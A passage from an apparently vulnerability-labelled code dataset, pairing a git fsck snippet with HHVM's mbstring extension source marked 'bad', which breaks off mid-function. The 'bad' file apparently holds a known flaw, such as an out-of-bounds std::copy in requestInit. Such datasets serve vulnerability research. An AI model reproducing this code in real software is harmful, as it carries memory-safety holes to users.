fsck_error_function(struct fsck_options *o, struct object *obj, int msg_type, const char *message) { if (msg_type == FSCK_WARN) { warning("object %s: %s", describe_object(o, obj), message); return 0; } error("object %s: %s", describe_object(o, obj), message); return 1; } int fsck_finish(struct fsck_options *options) { int ret = 0; struct oidset_iter iter; const struct object_id *oid; oidset_iter_init(&gitmodules_found, &iter); while ((oid = oidset_iter_next(&iter))) { struct blob *blob; enum object_type type; unsigned long size; char *buf; if (oidset_contains(&gitmodules_done, oid)) continue; blob = lookup_blob(oid); if (!blob) { ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_BLOB, "non-blob found at .gitmodules"); continue; } buf = read_sha1_file(oid->hash, &type, &size); if (!buf) { if (is_promisor_object(&blob->object.oid)) continue; ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_MISSING, "unable to read .gitmodules blob"); continue; } if (type == OBJ_BLOB) ret |= fsck_blob(blob, buf, size, options); else ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_BLOB, "non-blob found at .gitmodules"); free(buf); } oidset_clear(&gitmodules_found); oidset_clear(&gitmodules_done); return ret; }
./CrossVul/dataset_final_sorted/CWE-522/c/good_3894_1
crossvul-cpp_data_bad_850_0
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) | | Copyright (c) 1997-2010 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include "hphp/runtime/ext/mbstring/ext_mbstring.h" #include "hphp/runtime/base/array-init.h" #include "hphp/runtime/base/execution-context.h" #include "hphp/runtime/base/ini-setting.h" #include "hphp/runtime/base/request-event-handler.h" #include "hphp/runtime/base/string-buffer.h" #include "hphp/runtime/base/zend-string.h" #include "hphp/runtime/base/zend-url.h" #include "hphp/runtime/ext/mbstring/php_unicode.h" #include "hphp/runtime/ext/mbstring/unicode_data.h" #include "hphp/runtime/ext/std/ext_std_output.h" #include "hphp/runtime/ext/string/ext_string.h" #include "hphp/util/rds-local.h" #include <map> extern "C" { #include <mbfl/mbfl_convert.h> #include <mbfl/mbfilter.h> #include <mbfl/mbfilter_pass.h> #include <oniguruma.h> } #define php_mb_re_pattern_buffer re_pattern_buffer #define php_mb_regex_t regex_t #define php_mb_re_registers re_registers extern void mbfl_memory_device_unput(mbfl_memory_device *device); #define PARSE_POST 0 #define PARSE_GET 1 #define PARSE_COOKIE 2 #define PARSE_STRING 3 #define PARSE_ENV 4 #define PARSE_SERVER 5 #define PARSE_SESSION 6 namespace HPHP { /////////////////////////////////////////////////////////////////////////////// // statics #define PHP_MBSTR_STACK_BLOCK_SIZE 32 typedef struct _php_mb_nls_ident_list { mbfl_no_language lang; mbfl_no_encoding* list; int list_size; } php_mb_nls_ident_list; static mbfl_no_encoding php_mb_default_identify_list_ja[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_jis, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_jp, mbfl_no_encoding_sjis }; static mbfl_no_encoding php_mb_default_identify_list_cn[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_cn, mbfl_no_encoding_cp936 }; static mbfl_no_encoding php_mb_default_identify_list_tw_hk[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_tw, mbfl_no_encoding_big5 }; static mbfl_no_encoding php_mb_default_identify_list_kr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_kr, mbfl_no_encoding_uhc }; static mbfl_no_encoding php_mb_default_identify_list_ru[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_koi8r, mbfl_no_encoding_cp1251, mbfl_no_encoding_cp866 }; static mbfl_no_encoding php_mb_default_identify_list_hy[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_armscii8 }; static mbfl_no_encoding php_mb_default_identify_list_tr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_8859_9 }; static mbfl_no_encoding php_mb_default_identify_list_neut[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8 }; static php_mb_nls_ident_list php_mb_default_identify_list[] = { { mbfl_no_language_japanese, php_mb_default_identify_list_ja, sizeof(php_mb_default_identify_list_ja) / sizeof(php_mb_default_identify_list_ja[0]) }, { mbfl_no_language_korean, php_mb_default_identify_list_kr, sizeof(php_mb_default_identify_list_kr) / sizeof(php_mb_default_identify_list_kr[0]) }, { mbfl_no_language_traditional_chinese, php_mb_default_identify_list_tw_hk, sizeof(php_mb_default_identify_list_tw_hk) / sizeof(php_mb_default_identify_list_tw_hk[0]) }, { mbfl_no_language_simplified_chinese, php_mb_default_identify_list_cn, sizeof(php_mb_default_identify_list_cn) / sizeof(php_mb_default_identify_list_cn[0]) }, { mbfl_no_language_russian, php_mb_default_identify_list_ru, sizeof(php_mb_default_identify_list_ru) / sizeof(php_mb_default_identify_list_ru[0]) }, { mbfl_no_language_armenian, php_mb_default_identify_list_hy, sizeof(php_mb_default_identify_list_hy) / sizeof(php_mb_default_identify_list_hy[0]) }, { mbfl_no_language_turkish, php_mb_default_identify_list_tr, sizeof(php_mb_default_identify_list_tr) / sizeof(php_mb_default_identify_list_tr[0]) }, { mbfl_no_language_neutral, php_mb_default_identify_list_neut, sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]) } }; /////////////////////////////////////////////////////////////////////////////// // globals typedef std::map<std::string, php_mb_regex_t *> RegexCache; struct MBGlobals final : RequestEventHandler { mbfl_no_language language; mbfl_no_language current_language; mbfl_encoding *internal_encoding; mbfl_encoding *current_internal_encoding; mbfl_encoding *http_output_encoding; mbfl_encoding *current_http_output_encoding; mbfl_encoding *http_input_identify; mbfl_encoding *http_input_identify_get; mbfl_encoding *http_input_identify_post; mbfl_encoding *http_input_identify_cookie; mbfl_encoding *http_input_identify_string; mbfl_encoding **http_input_list; int http_input_list_size; mbfl_encoding **detect_order_list; int detect_order_list_size; mbfl_encoding **current_detect_order_list; int current_detect_order_list_size; mbfl_no_encoding *default_detect_order_list; int default_detect_order_list_size; int filter_illegal_mode; int filter_illegal_substchar; int current_filter_illegal_mode; int current_filter_illegal_substchar; bool encoding_translation; long strict_detection; long illegalchars; mbfl_buffer_converter *outconv; OnigEncoding default_mbctype; OnigEncoding current_mbctype; RegexCache ht_rc; std::string search_str; unsigned int search_pos; php_mb_regex_t *search_re; OnigRegion *search_regs; OnigOptionType regex_default_options; OnigSyntaxType *regex_default_syntax; MBGlobals() : language(mbfl_no_language_uni), current_language(mbfl_no_language_uni), internal_encoding((mbfl_encoding*) mbfl_no2encoding(mbfl_no_encoding_utf8)), current_internal_encoding(internal_encoding), http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), current_http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), http_input_identify(nullptr), http_input_identify_get(nullptr), http_input_identify_post(nullptr), http_input_identify_cookie(nullptr), http_input_identify_string(nullptr), http_input_list(nullptr), http_input_list_size(0), detect_order_list(nullptr), detect_order_list_size(0), current_detect_order_list(nullptr), current_detect_order_list_size(0), default_detect_order_list ((mbfl_no_encoding *)php_mb_default_identify_list_neut), default_detect_order_list_size (sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0])), filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), filter_illegal_substchar(0x3f), /* '?' */ current_filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), current_filter_illegal_substchar(0x3f), /* '?' */ encoding_translation(0), strict_detection(0), illegalchars(0), outconv(nullptr), default_mbctype(ONIG_ENCODING_UTF8), current_mbctype(ONIG_ENCODING_UTF8), search_pos(0), search_re((php_mb_regex_t*)nullptr), search_regs((OnigRegion*)nullptr), regex_default_options(ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE), regex_default_syntax(ONIG_SYNTAX_RUBY) { } void requestInit() override { current_language = language; current_internal_encoding = internal_encoding; current_http_output_encoding = http_output_encoding; current_filter_illegal_mode = filter_illegal_mode; current_filter_illegal_substchar = filter_illegal_substchar; if (!encoding_translation) { illegalchars = 0; } mbfl_encoding **entry = nullptr; int n = 0; if (current_detect_order_list) { return; } if (detect_order_list && detect_order_list_size > 0) { n = detect_order_list_size; entry = (mbfl_encoding **)req::malloc_noptrs(n * sizeof(mbfl_encoding*)); std::copy(detect_order_list, detect_order_list + (n * sizeof(mbfl_encoding*)), entry); } else { mbfl_no_encoding *src = default_detect_order_list; n = default_detect_order_list_size; entry = (mbfl_encoding **)req::malloc_noptrs(n * sizeof(mbfl_encoding*)); for (int i = 0; i < n; i++) { entry[i] = (mbfl_encoding*) mbfl_no2encoding(src[i]); } } current_detect_order_list = entry; current_detect_order_list_size = n; } void requestShutdown() override { if (current_detect_order_list != nullptr) { req::free(current_detect_order_list); current_detect_order_list = nullptr; current_detect_order_list_size = 0; } if (outconv != nullptr) { illegalchars += mbfl_buffer_illegalchars(outconv); mbfl_buffer_converter_delete(outconv); outconv = nullptr; } /* clear http input identification. */ http_input_identify = nullptr; http_input_identify_post = nullptr; http_input_identify_get = nullptr; http_input_identify_cookie = nullptr; http_input_identify_string = nullptr; current_mbctype = default_mbctype; search_str.clear(); search_pos = 0; if (search_regs != nullptr) { onig_region_free(search_regs, 1); search_regs = (OnigRegion *)nullptr; } for (RegexCache::const_iterator it = ht_rc.begin(); it != ht_rc.end(); ++it) { onig_free(it->second); } ht_rc.clear(); } }; IMPLEMENT_STATIC_REQUEST_LOCAL(MBGlobals, s_mb_globals); #define MBSTRG(name) s_mb_globals->name /////////////////////////////////////////////////////////////////////////////// // unicode functions /* * A simple array of 32-bit masks for lookup. */ static unsigned long masks32[32] = { 0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020, 0x00000040, 0x00000080, 0x00000100, 0x00000200, 0x00000400, 0x00000800, 0x00001000, 0x00002000, 0x00004000, 0x00008000, 0x00010000, 0x00020000, 0x00040000, 0x00080000, 0x00100000, 0x00200000, 0x00400000, 0x00800000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000 }; static int prop_lookup(unsigned long code, unsigned long n) { long l, r, m; /* * There is an extra node on the end of the offsets to allow this routine * to work right. If the index is 0xffff, then there are no nodes for the * property. */ if ((l = _ucprop_offsets[n]) == 0xffff) return 0; /* * Locate the next offset that is not 0xffff. The sentinel at the end of * the array is the max index value. */ for (m = 1; n + m < _ucprop_size && _ucprop_offsets[n + m] == 0xffff; m++) ; r = _ucprop_offsets[n + m] - 1; while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a range pair. */ m = (l + r) >> 1; m -= (m & 1); if (code > _ucprop_ranges[m + 1]) l = m + 2; else if (code < _ucprop_ranges[m]) r = m - 2; else if (code >= _ucprop_ranges[m] && code <= _ucprop_ranges[m + 1]) return 1; } return 0; } static int php_unicode_is_prop(unsigned long code, unsigned long mask1, unsigned long mask2) { unsigned long i; if (mask1 == 0 && mask2 == 0) return 0; for (i = 0; mask1 && i < 32; i++) { if ((mask1 & masks32[i]) && prop_lookup(code, i)) return 1; } for (i = 32; mask2 && i < _ucprop_size; i++) { if ((mask2 & masks32[i & 31]) && prop_lookup(code, i)) return 1; } return 0; } static unsigned long case_lookup(unsigned long code, long l, long r, int field) { long m; /* * Do the binary search. */ while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a case mapping triple. */ m = (l + r) >> 1; m -= (m % 3); if (code > _uccase_map[m]) l = m + 3; else if (code < _uccase_map[m]) r = m - 3; else if (code == _uccase_map[m]) return _uccase_map[m + field]; } return code; } static unsigned long php_turkish_toupper(unsigned long code, long l, long r, int field) { if (code == 0x0069L) { return 0x0130L; } return case_lookup(code, l, r, field); } static unsigned long php_turkish_tolower(unsigned long code, long l, long r, int field) { if (code == 0x0049L) { return 0x0131L; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_toupper(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_upper(code)) return code; if (php_unicode_is_lower(code)) { /* * The character is lower case. */ field = 2; l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_toupper(code, l, r, field); } } else { /* * The character is title case. */ field = 1; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_tolower(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_lower(code)) return code; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ field = 1; l = 0; r = _uccase_len[0] - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_tolower(code, l, r, field); } } else { /* * The character is title case. */ field = 2; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_totitle(unsigned long code, enum mbfl_no_encoding /*enc*/) { int field; long l, r; if (php_unicode_is_title(code)) return code; /* * The offset will always be the same for converting to title case. */ field = 2; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ l = 0; r = _uccase_len[0] - 3; } else { /* * The character is lower case. */ l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; } return case_lookup(code, l, r, field); } #define BE_ARY_TO_UINT32(ptr) (\ ((unsigned char*)(ptr))[0]<<24 |\ ((unsigned char*)(ptr))[1]<<16 |\ ((unsigned char*)(ptr))[2]<< 8 |\ ((unsigned char*)(ptr))[3] ) #define UINT32_TO_BE_ARY(ptr,val) { \ unsigned int v = val; \ ((unsigned char*)(ptr))[0] = (v>>24) & 0xff,\ ((unsigned char*)(ptr))[1] = (v>>16) & 0xff,\ ((unsigned char*)(ptr))[2] = (v>> 8) & 0xff,\ ((unsigned char*)(ptr))[3] = (v ) & 0xff;\ } /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_list(const char* value, int value_length, mbfl_encoding*** return_list, int* return_size, int /*persistent*/) { int n, l, size, bauto, ret = 1; char *p, *p1, *p2, *endp, *tmpstr; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **entry, **list; list = nullptr; if (value == nullptr || value_length <= 0) { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } return 0; } else { mbfl_no_encoding *identify_list; int identify_list_size; identify_list = MBSTRG(default_detect_order_list); identify_list_size = MBSTRG(default_detect_order_list_size); /* copy the value string for work */ if (value[0]=='"' && value[value_length-1]=='"' && value_length>2) { tmpstr = req::strndup(value + 1, value_length - 2); } else { tmpstr = req::strndup(value, value_length); } value_length = tmpstr ? strlen(tmpstr) : 0; if (!value_length) { req::free(tmpstr); if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } return 0; } /* count the number of listed encoding names */ endp = tmpstr + value_length; n = 1; p1 = tmpstr; while ((p2 = (char*)string_memnstr(p1, ",", 1, endp)) != nullptr) { p1 = p2 + 1; n++; } size = n + identify_list_size; /* make list */ list = (mbfl_encoding **)req::calloc_noptrs(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; n = 0; bauto = 0; p1 = tmpstr; do { p2 = p = (char*)string_memnstr(p1, ",", 1, endp); if (p == nullptr) { p = endp; } *p = '\0'; /* trim spaces */ while (p1 < p && (*p1 == ' ' || *p1 == '\t')) { p1++; } p--; while (p > p1 && (*p == ' ' || *p == '\t')) { *p = '\0'; p--; } /* convert to the encoding number and check encoding */ if (strcasecmp(p1, "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int i = 0; i < l; i++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(p1); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } p1 = p2 + 1; } while (n < size && p2 != nullptr); if (n > 0) { if (return_list) { *return_list = list; } else { req::free(list); } } else { req::free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } req::free(tmpstr); } return ret; } static char *php_mb_convert_encoding(const char *input, size_t length, const char *_to_encoding, const char *_from_encodings, unsigned int *output_len) { mbfl_string string, result, *ret; mbfl_encoding *from_encoding, *to_encoding; mbfl_buffer_converter *convd; int size; mbfl_encoding **list; char *output = nullptr; if (output_len) { *output_len = 0; } if (!input) { return nullptr; } /* new encoding */ if (_to_encoding && strlen(_to_encoding)) { to_encoding = (mbfl_encoding*) mbfl_name2encoding(_to_encoding); if (to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", _to_encoding); return nullptr; } } else { to_encoding = MBSTRG(current_internal_encoding); } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = from_encoding->no_encoding; string.no_language = MBSTRG(current_language); string.val = (unsigned char *)input; string.len = length; /* pre-conversion encoding */ if (_from_encodings) { list = nullptr; size = 0; php_mb_parse_encoding_list(_from_encodings, strlen(_from_encodings), &list, &size, 0); if (size == 1) { from_encoding = *list; string.no_encoding = from_encoding->no_encoding; } else if (size > 1) { /* auto detect */ from_encoding = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) list, size, MBSTRG(strict_detection)); if (from_encoding != nullptr) { string.no_encoding = from_encoding->no_encoding; } else { raise_warning("Unable to detect character encoding"); from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; to_encoding = from_encoding; string.no_encoding = from_encoding->no_encoding; } } else { raise_warning("Illegal character encoding specified"); } if (list != nullptr) { req::free(list); } } /* initialize converter */ convd = mbfl_buffer_converter_new2(from_encoding, to_encoding, string.len); if (convd == nullptr) { raise_warning("Unable to create character encoding converter"); return nullptr; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); /* do it */ ret = mbfl_buffer_converter_feed_result(convd, &string, &result); if (ret) { if (output_len) { *output_len = ret->len; } output = (char *)ret->val; } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); return output; } static char *php_unicode_convert_case(int case_mode, const char *srcstr, size_t srclen, unsigned int *ret_len, const char *src_encoding) { char *unicode, *newstr; unsigned int unicode_len; unsigned char *unicode_ptr; size_t i; enum mbfl_no_encoding _src_encoding = mbfl_name2no_encoding(src_encoding); unicode = php_mb_convert_encoding(srcstr, srclen, "UCS-4BE", src_encoding, &unicode_len); if (unicode == nullptr) return nullptr; unicode_ptr = (unsigned char *)unicode; switch(case_mode) { case PHP_UNICODE_CASE_UPPER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_toupper(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_LOWER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_TITLE: { int mode = 0; for (i = 0; i < unicode_len; i+=4) { int res = php_unicode_is_prop (BE_ARY_TO_UINT32(&unicode_ptr[i]), UC_MN|UC_ME|UC_CF|UC_LM|UC_SK|UC_LU|UC_LL|UC_LT|UC_PO|UC_OS, 0); if (mode) { if (res) { UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } else { mode = 0; } } else { if (res) { mode = 1; UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_totitle(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } } } } break; } newstr = php_mb_convert_encoding(unicode, unicode_len, src_encoding, "UCS-4BE", ret_len); free(unicode); return newstr; } /////////////////////////////////////////////////////////////////////////////// // helpers /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_array(const Array& array, mbfl_encoding*** return_list, int* return_size, int /*persistent*/) { int n, l, size, bauto,ret = 1; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **list, **entry; list = nullptr; mbfl_no_encoding *identify_list = MBSTRG(default_detect_order_list); int identify_list_size = MBSTRG(default_detect_order_list_size); size = array.size() + identify_list_size; list = (mbfl_encoding **)req::calloc_noptrs(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; bauto = 0; n = 0; for (ArrayIter iter(array); iter; ++iter) { auto const hash_entry = iter.second().toString(); if (strcasecmp(hash_entry.data(), "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int j = 0; j < l; j++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(hash_entry.data()); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } } if (n > 0) { if (return_list) { *return_list = list; } else { req::free(list); } } else { req::free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } return ret; } static bool php_mb_parse_encoding(const Variant& encoding, mbfl_encoding ***return_list, int *return_size, bool persistent) { bool ret; if (encoding.isArray()) { ret = php_mb_parse_encoding_array(encoding.toArray(), return_list, return_size, persistent ? 1 : 0); } else { String enc = encoding.toString(); ret = php_mb_parse_encoding_list(enc.data(), enc.size(), return_list, return_size, persistent ? 1 : 0); } if (!ret) { if (return_list && *return_list) { free(*return_list); *return_list = nullptr; } return_size = 0; } return ret; } static int php_mb_nls_get_default_detect_order_list(mbfl_no_language lang, mbfl_no_encoding **plist, int* plist_size) { size_t i; *plist = (mbfl_no_encoding *) php_mb_default_identify_list_neut; *plist_size = sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]); for (i = 0; i < sizeof(php_mb_default_identify_list) / sizeof(php_mb_default_identify_list[0]); i++) { if (php_mb_default_identify_list[i].lang == lang) { *plist = php_mb_default_identify_list[i].list; *plist_size = php_mb_default_identify_list[i].list_size; return 1; } } return 0; } static size_t php_mb_mbchar_bytes_ex(const char *s, const mbfl_encoding *enc) { if (enc != nullptr) { if (enc->flag & MBFL_ENCTYPE_MBCS) { if (enc->mblen_table != nullptr) { if (s != nullptr) return enc->mblen_table[*(unsigned char *)s]; } } else if (enc->flag & (MBFL_ENCTYPE_WCS2BE | MBFL_ENCTYPE_WCS2LE)) { return 2; } else if (enc->flag & (MBFL_ENCTYPE_WCS4BE | MBFL_ENCTYPE_WCS4LE)) { return 4; } } return 1; } static int php_mb_stripos(int mode, const char *old_haystack, int old_haystack_len, const char *old_needle, int old_needle_len, long offset, const char *from_encoding) { int n; mbfl_string haystack, needle; n = -1; mbfl_string_init(&haystack); mbfl_string_init(&needle); haystack.no_language = MBSTRG(current_language); haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; needle.no_language = MBSTRG(current_language); needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; do { haystack.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_haystack, (size_t)old_haystack_len, &haystack.len, from_encoding); if (!haystack.val) { break; } if (haystack.len <= 0) { break; } needle.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_needle, (size_t)old_needle_len, &needle.len, from_encoding); if (!needle.val) { break; } if (needle.len <= 0) { break; } haystack.no_encoding = needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); break; } int haystack_char_len = mbfl_strlen(&haystack); if (mode) { if ((offset > 0 && offset > haystack_char_len) || (offset < 0 && -offset > haystack_char_len)) { raise_warning("Offset is greater than the length of haystack string"); break; } } else { if (offset < 0 || offset > haystack_char_len) { raise_warning("Offset not contained in string."); break; } } n = mbfl_strpos(&haystack, &needle, offset, mode); } while(0); if (haystack.val) { free(haystack.val); } if (needle.val) { free(needle.val); } return n; } /////////////////////////////////////////////////////////////////////////////// static String convertArg(const Variant& arg) { return arg.isNull() ? null_string : arg.toString(); } Array HHVM_FUNCTION(mb_list_encodings) { Array ret; int i = 0; const mbfl_encoding **encodings = mbfl_get_supported_encodings(); const mbfl_encoding *encoding; while ((encoding = encodings[i++]) != nullptr) { ret.append(String(encoding->name, CopyString)); } return ret; } Variant HHVM_FUNCTION(mb_encoding_aliases, const String& name) { const mbfl_encoding *encoding; int i = 0; encoding = mbfl_name2encoding(name.data()); if (!encoding) { raise_warning("mb_encoding_aliases(): Unknown encoding \"%s\"", name.data()); return false; } Array ret = Array::Create(); if (encoding->aliases != nullptr) { while ((*encoding->aliases)[i] != nullptr) { ret.append((*encoding->aliases)[i]); i++; } } return ret; } Variant HHVM_FUNCTION(mb_list_encodings_alias_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i, j; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { Array row; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { row.append(String((*encoding->aliases)[j], CopyString)); j++; } } ret.set(String(encoding->name, CopyString), row); } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *encodingName = (char *)mbfl_no_encoding2name(no_encoding); if (encodingName != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, encodingName) != 0) continue; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { ret.append(String((*encoding->aliases)[j], CopyString)); j++; } } break; } } else { return false; } } return ret; } Variant HHVM_FUNCTION(mb_list_mime_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (encoding->mime_name != nullptr) { ret.set(String(encoding->name, CopyString), String(encoding->mime_name, CopyString)); } else{ ret.set(String(encoding->name, CopyString), ""); } } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *encodingName = (char *)mbfl_no_encoding2name(no_encoding); if (encodingName != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, encodingName) != 0) continue; if (encoding->mime_name != nullptr) { return String(encoding->mime_name, CopyString); } break; } return empty_string_variant(); } else { return false; } } return ret; } bool HHVM_FUNCTION(mb_check_encoding, const Variant& opt_var, const Variant& opt_encoding) { const String var = convertArg(opt_var); const String encoding = convertArg(opt_encoding); mbfl_buffer_converter *convd; mbfl_no_encoding no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbfl_string string, result, *ret = nullptr; long illegalchars = 0; if (var.isNull()) { return MBSTRG(illegalchars) == 0; } if (!encoding.isNull()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid || no_encoding == mbfl_no_encoding_pass) { raise_warning("Invalid encoding \"%s\"", encoding.data()); return false; } } convd = mbfl_buffer_converter_new(no_encoding, no_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE); mbfl_buffer_converter_illegal_substchar (convd, 0); /* initialize string */ mbfl_string_init_set(&string, mbfl_no_language_neutral, no_encoding); mbfl_string_init(&result); string.val = (unsigned char *)var.data(); string.len = var.size(); ret = mbfl_buffer_converter_feed_result(convd, &string, &result); illegalchars = mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); if (ret != nullptr) { MBSTRG(illegalchars) += illegalchars; if (illegalchars == 0 && string.len == ret->len && memcmp((const char *)string.val, (const char *)ret->val, string.len) == 0) { mbfl_string_clear(&result); return true; } else { mbfl_string_clear(&result); return false; } } else { return false; } } Variant HHVM_FUNCTION(mb_convert_case, const String& str, int mode, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *enc = nullptr; if (encoding.empty()) { enc = MBSTRG(current_internal_encoding)->mime_name; } else { enc = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(mode, str.data(), str.size(), &ret_len, enc); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_encoding, const String& str, const String& to_encoding, const Variant& from_encoding /* = uninit_variant */) { String encoding = from_encoding.toString(); if (from_encoding.isArray()) { StringBuffer _from_encodings; Array encs = from_encoding.toArray(); for (ArrayIter iter(encs); iter; ++iter) { if (!_from_encodings.empty()) { _from_encodings.append(","); } _from_encodings.append(iter.second().toString()); } encoding = 